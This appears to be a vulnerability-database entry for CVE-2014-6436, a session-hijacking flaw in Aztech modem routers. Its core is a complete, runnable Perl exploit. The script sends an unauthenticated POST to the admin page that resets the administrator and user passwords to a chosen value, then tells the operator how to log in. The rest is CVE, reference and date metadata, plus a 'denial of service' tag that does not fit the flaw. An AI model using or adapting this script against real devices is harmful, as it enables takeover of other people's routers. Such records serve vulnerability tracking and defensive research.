ID
VAR-E-201409-0073
CVE
| cve_id: | CVE-2014-6436 | Trust: 2.4 |
| cve_id: | CVE-2014-6435 | Trust: 0.5 |
| cve_id: | CVE-2014-6437 | Trust: 0.5 |
EDB ID
39316
TITLE
Aztech Modem Routers - Session Hijacking - Hardware remote Exploit
Trust: 0.6
DESCRIPTION
Aztech Modem Routers - Session Hijacking. CVE-2014-6436CVE-111433 . remote exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | aztech | model: | modem routers | scope: | - | version: | - | Trust: 1.0 |
| vendor: | aztech | model: | dsl5018en dsl705e dsl705eu | scope: | eq | version: | // | Trust: 0.5 |
EXPLOIT
source: https://www.securityfocus.com/bid/69811/info
Multiple Aztech Modem Routers are prone to a session-hijacking vulnerability.
An attacker can exploit this issue to gain unauthorized access to the affected device.
#!/usr/bin/perl
# Title: Aztech Modem Broken Session Management Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com
#
# A successful authentication of a privilege (admin) ID in the
# web portal allows any attacker in the network to hijack and
# reuse the existing session in order to trick and allow the web
# server to execute administrative commands. The command may be
# freely executed from any terminal in the network as long as
# the session of the privilege ID is valid. The below PoC shows
# an un-authenticated request to the web server for an administrator
# and user password reset.
#
# This exploit was tested working with the following modems:
# - DSL5018EN(1T1R) from Globe Telecom
# - DSL705E
# - DSL705EU
use strict;
use IO::Socket;
if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Broken Session Management Exploit\n";
print "++ Usage: perl $0 TARGET:PORT NEWPASSWORD\n";
print "++ Ex: perl $0 192.168.254.254:80 h4rh4rHaR\n\n";
exit;
}
my $TARGET = $ARGV[0];
my $NEWPASS = $ARGV[1];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "/cgi-bin/admAccess.asp";
system ('clear');
print "---------------------------------------------\n";
print "++ Sending POST string to $TARGET ...\n";
my $PAYLOAD = "saveFlag=1&adminFlag=1&SaveBtn=SAVE&uiViewTools_Password=$NEWPASS&uiViewTools_PasswordConfirm=$NEWPASS&uiViewTools_Password1=$NEWPASS&uiViewTools_PasswordConfirm1=$NEWPASS";
my $POST = "POST $PATH HTTP/1.1";
my $ACCEPT = "Accept: text/html, application/xhtml+xml, */*";
my $REFERER = "Referer: http://$HOST/cgi-bin/admAccess.asp";
my $LANG = "Accept-Language: en-US";
my $AGENT = "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25";
my $CONTYPE = "Content-Type: application/x-www-form-urlencoded";
my $ACENCODING = "Accept-Encoding: gzip, deflate";
my $PROXYCONN = "Proxy-Connection: Keep-Alive";
my $CONNLENGTH = "Content-Length: 179";
my $DNT = "DNT: 1";
my $TARGETHOST = "Host: $HOST";
my $PRAGMA = "Pragma: no-cache";
my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;
print $sock "$POST\n";
print $sock "$ACCEPT\n";
print $sock "$REFERER\n";
print $sock "$LANG\n";
print $sock "$AGENT\n";
print $sock "$CONTYPE\n";
print $sock "$ACENCODING\n";
print $sock "$PROXYCONN\n";
print $sock "$CONNLENGTH\n";
print $sock "$DNT\n";
print $sock "$TARGETHOST\n";
print $sock "$PRAGMA\n\n";
print $sock "$PAYLOAD\n";
print "++ Sent. Connect to the web URL http://$HOST with user:admin password:$NEWPASS\n";
$sock->close();
exit;
Trust: 1.0
EXPLOIT LANGUAGE
pl
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Session Hijacking
Trust: 1.0
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | denial of service | Trust: 0.5 |
| tag: | vulnerability | Trust: 0.5 |
CREDITS
Eric Fajardo
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2014-6436 | Trust: 2.4 |
| db: | EXPLOIT-DB | id: | 39316 | Trust: 1.9 |
| db: | BID | id: | 69811 | Trust: 1.9 |
| db: | EDBNET | id: | 60272 | Trust: 0.6 |
| db: | NVD | id: | CVE-2014-6435 | Trust: 0.5 |
| db: | NVD | id: | CVE-2014-6437 | Trust: 0.5 |
| db: | PACKETSTORM | id: | 128254 | Trust: 0.5 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2014-6436 | Trust: 2.1 |
| url: | https://www.securityfocus.com/bid/69811/info | Trust: 1.0 |
| url: | https://www.exploit-db.com/exploits/39316/ | Trust: 0.6 |
| url: | https://nvd.nist.gov/vuln/detail/cve-2014-6435 | Trust: 0.5 |
| url: | https://nvd.nist.gov/vuln/detail/cve-2014-6437 | Trust: 0.5 |
| url: | https://www.exploit-db.com/exploits/39316 | Trust: 0.3 |
SOURCES
| db: | BID | id: | 69811 |
| db: | PACKETSTORM | id: | 128254 |
| db: | EXPLOIT-DB | id: | 39316 |
| db: | EDBNET | id: | 60272 |
LAST UPDATE DATE
2022-07-27T09:32:44.363000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 69811 | date: | 2014-09-23T00:01:00 |
SOURCES RELEASE DATE
| db: | BID | id: | 69811 | date: | 2014-09-15T00:00:00 |
| db: | PACKETSTORM | id: | 128254 | date: | 2014-09-15T19:44:56 |
| db: | EXPLOIT-DB | id: | 39316 | date: | 2014-09-15T00:00:00 |
| db: | EDBNET | id: | 60272 | date: | 2014-09-15T00:00:00 |